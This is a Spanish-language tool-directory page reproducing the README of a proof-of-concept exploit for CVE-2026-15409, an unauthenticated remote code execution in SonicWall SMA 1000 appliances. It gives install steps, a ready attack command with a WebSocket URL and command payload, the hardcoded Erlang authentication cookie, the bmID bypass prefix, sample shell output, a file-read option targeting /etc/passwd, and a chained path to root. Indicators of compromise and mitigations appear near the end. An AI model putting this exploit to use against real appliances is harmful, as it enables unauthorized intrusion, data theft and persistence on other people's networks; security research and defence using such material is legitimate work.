Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-15409 — Exploit de prueba de concepto para CVE-2026-15409 (RCE en SonicWall SMA 1000) mediante la distribución de Erlang sobre WebSocket. Logra ejecución remota de código no autenticada como usuario couchdb. | Kitploit
Herramientas/GitHubGitHub/ch4120n/cve-2026-15409
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPost-ExplotaciónPruebas de PenetraciónRed Teaming
GitHubch4120n/cve-2026-15409

CVE-2026-15409

Exploit de prueba de concepto para CVE-2026-15409 (RCE en SonicWall SMA 1000) mediante la distribución de Erlang sobre WebSocket. Logra ejecución remota de código no autenticada como usuario couchdb.

Ver Repositorio
12hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚀 CVE-2026-15409 – RCE en Erlang en SonicWall SMA 1000 a través del proxy WebSocket

Python Exploit CVE

GitHub stars GitHub issues License

Exploit de prueba de concepto para CVE-2026-15409 – ejecución remota de código no autenticada en los dispositivos de la serie SonicWall SMA 1000 a través del protocolo de distribución de Erlang tunelizado sobre WebSocket.


📖 Resumen

CVE-2026-15409 es una vulnerabilidad crítica que afecta a los dispositivos SonicWall SMA 1000 (versiones anteriores al hotfix de junio de 2026). El fallo reside en el (normalmente expuesto en el puerto 443), que actúa como proxy de conexiones WebSocket hacia nodos Erlang internos. Forjando un parámetro válido y utilizando una cookie Erlang hardcodeada, un atacante puede establecer un canal de distribución autenticado y ejecutar comandos arbitrarios del sistema como el usuario (u otras cuentas con privilegios bajos) mediante llamadas RPC a .

servicio WorkPlace
bmID
couchdb
os:cmd/1

Este repositorio proporciona un PoC totalmente funcional que automatiza toda la cadena del exploit, desde el handshake WebSocket hasta la ejecución arbitraria de comandos, con una interfaz limpia, manejo avanzado de errores y un logging atractivo.

🔍 Características principales

  • Túnel WebSocket – funciona directamente sobre wss:// mediante el endpoint wsproxy.
  • Protocolo de distribución de Erlang – implementa por completo el handshake y el ETF (Erlang External Term Format).
  • Ejecución remota de código – mediante os:cmd/1; puede leer archivos a través de file:read_file/1 o comprobar la conectividad con erlang:node/0.
  • Detección inteligente – admite valores bmID arbitrarios (siempre que empiecen por -3389) y múltiples valores de serviceType.
  • Registro completo – mensajes con códigos de color y símbolos [+], [*], [-], [!] para facilitar la monitorización.

🧬 Detalles de la vulnerabilidad

La vulnerabilidad se debe a las siguientes debilidades de diseño en el SMA 1000:

  1. Proxy WebSocket sin restricciones – El endpoint /wsproxy reenvía mensajes WebSocket binarios a un puerto local de distribución de Erlang (localhost:1050 por defecto) sin la autenticación o autorización adecuadas.
  2. Cookie Erlang predecible/hardcodeada – La cookie utilizada para la autenticación de distribución es estática en todos los dispositivos SMA (al menos en la versión probada). Esto permite que un atacante externo complete el handshake.
  3. Nodo Erlang expuesto – El nodo Erlang [email protected] escucha en el puerto 1050 y acepta conexiones desde el proxy WebSocket, por lo que es accesible desde la red.
  4. Interfaz RPC potente – El nodo Erlang ofrece el servicio estándar rex, que puede ejecutar funciones arbitrarias en el nodo, incluida os:cmd/1.

Versiones afectadas

  • Serie SonicWall SMA 1000 con firmware anterior al hotfix de junio de 2026 (p. ej., ex_sra_vm_12.5.0-02002.ova).
  • El servicio WorkPlace debe estar habilitado (configuración por defecto).

Impacto

  • Ejecución remota de código como el usuario couchdb (UID 1010, grupo daemon).
  • Movimiento lateral: un atacante puede aprovechar CVE-2026-15410 (XML‑RPC path traversal) para escalar privilegios a root.
  • Exfiltración de datos: leer archivos arbitrarios mediante file:read_file/1.
  • Persistencia: instalar backdoors o modificar archivos del sistema.

🔧 Requisitos de explotación

  • Acceso de red al servicio WorkPlace del dispositivo SMA (normalmente TCP/443).
  • No se requieren credenciales válidas: el exploit funciona sin autenticación.
  • Python 3.8+ con la librería websockets (instálala con pip install websockets).

🚀 Uso

Instalación

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt   # websockets

Comando básico

root@kitploit:~
python3 cve-2026-15409.py \
  --ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
  --ws-user-agent 'SMA Connect Agent' \
  --ws-insecure-tls \
  --exec 'whoami && id && pwd && hostname'

Ejemplo de salida

root@kitploit:~
  ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
  ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
  ░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
                    [CVE-2026-15409]
         Erlang Distribution RCE via WebSocket Proxy
                     Owner: Ch4120N

[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

Opciones avanzadas

ArgumentoDescripción
--host, --portAlternativa TCP (si no se usa WebSocket)
--cookieSobrescribe la cookie hardcodeada por defecto
--nameNombre personalizado del nodo Erlang local
--ws-originEstablece la cabecera Origin para WebSocket
--ws-user-agentCadena de User-Agent (por defecto: SMA Connect Agent)
--ws-insecure-tlsDesactiva la verificación TLS (certificados autofirmados)
--read-fileLee un archivo del objetivo (p. ej., /etc/passwd)
--rpcSolo probar la conexión llamando a erlang:node/0

🧪 Detalles técnicos para detección y ajuste

Cookie hardcodeada

La cookie Erlang utilizada en el exploit es:

root@kitploit:~
10ecad5b446e86864832904cd439b6b70262

Este valor es consistente en todos los dispositivos SMA probados y está hardcodeado en el proceso Erlang en localhost:1050. No es la misma cookie configurada por el usuario para el clustering.

El parámetro bmID

El bmID debe comenzar con -3389 (p. ej., -3389c1b25ccd). Se aceptan valores arbitrarios después del prefijo, por lo que la detección basada en firmas no debería depender de un hash fijo.

Tipos de servicio

Aunque el ejemplo utiliza serviceType=SSH, otros valores como TELNET también funcionan. El exploit es agnóstico al tipo de servicio.

Selección de puerto

El puerto 1050 es el puerto interno por defecto, pero también se han observado ataques reales dirigidos al puerto 8188. El exploit puede adaptarse a cualquier puerto que exponga el protocolo de distribución de Erlang.

Escalada de privilegios

Tras obtener una shell como couchdb, un atacante puede aprovechar CVE-2026-15410, un path traversal de XML‑RPC que permite eliminar el hotfix y, posteriormente, escalar privilegios a root.


🛡️ Detección y mitigación

Indicadores de compromiso (IoCs)

  • Conexiones WebSocket inusuales a /wsproxy con bmID que comience con -3389.
  • Conexiones salientes inesperadas desde el dispositivo SMA a IP externas.
  • Procesos iniciados por el usuario couchdb (p. ej., bash, python, nc).
  • Modificación o creación de archivos en /var/tmp/ por el usuario couchdb.

Acciones recomendadas

  1. Aplicar el parche oficial de SonicWall (hotfix de junio de 2026) de inmediato.
  2. Restringir el acceso al servicio WorkPlace únicamente a rangos de IP de confianza.
  3. Supervisar los registros para detectar actividad WebSocket anómala e intentos de distribución de Erlang.
  4. Cambiar la cookie Erlang del nodo Erlang interno (si es posible), aunque esto puede afectar a la funcionalidad de la aplicación.
  5. Deshabilitar el servicio WorkPlace si no es necesario.

👏 Créditos

  • Descubrimiento y PoC: Ch4120N.
  • Investigación adicional: SonicWall PSIRT y la comunidad de seguridad en general.

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

Aviso legal: Esta herramienta es solo para fines educativos y de pruebas autorizadas. El autor y los colaboradores no son responsables del mal uso o de los daños causados por este software.


📚 Referencias

  • Aviso de seguridad de SonicWall (CVE-2026-15409)
  • Entrada NIST NVD – CVE-2026-15409

⭐ Soporte

Si te resulta útil este PoC, considera darle una ⭐ en GitHub y compartirlo de forma responsable. ¡Las contribuciones, los issues y las pull requests son bienvenidas!


¡Feliz hacking! 🛡️

Descargar herramienta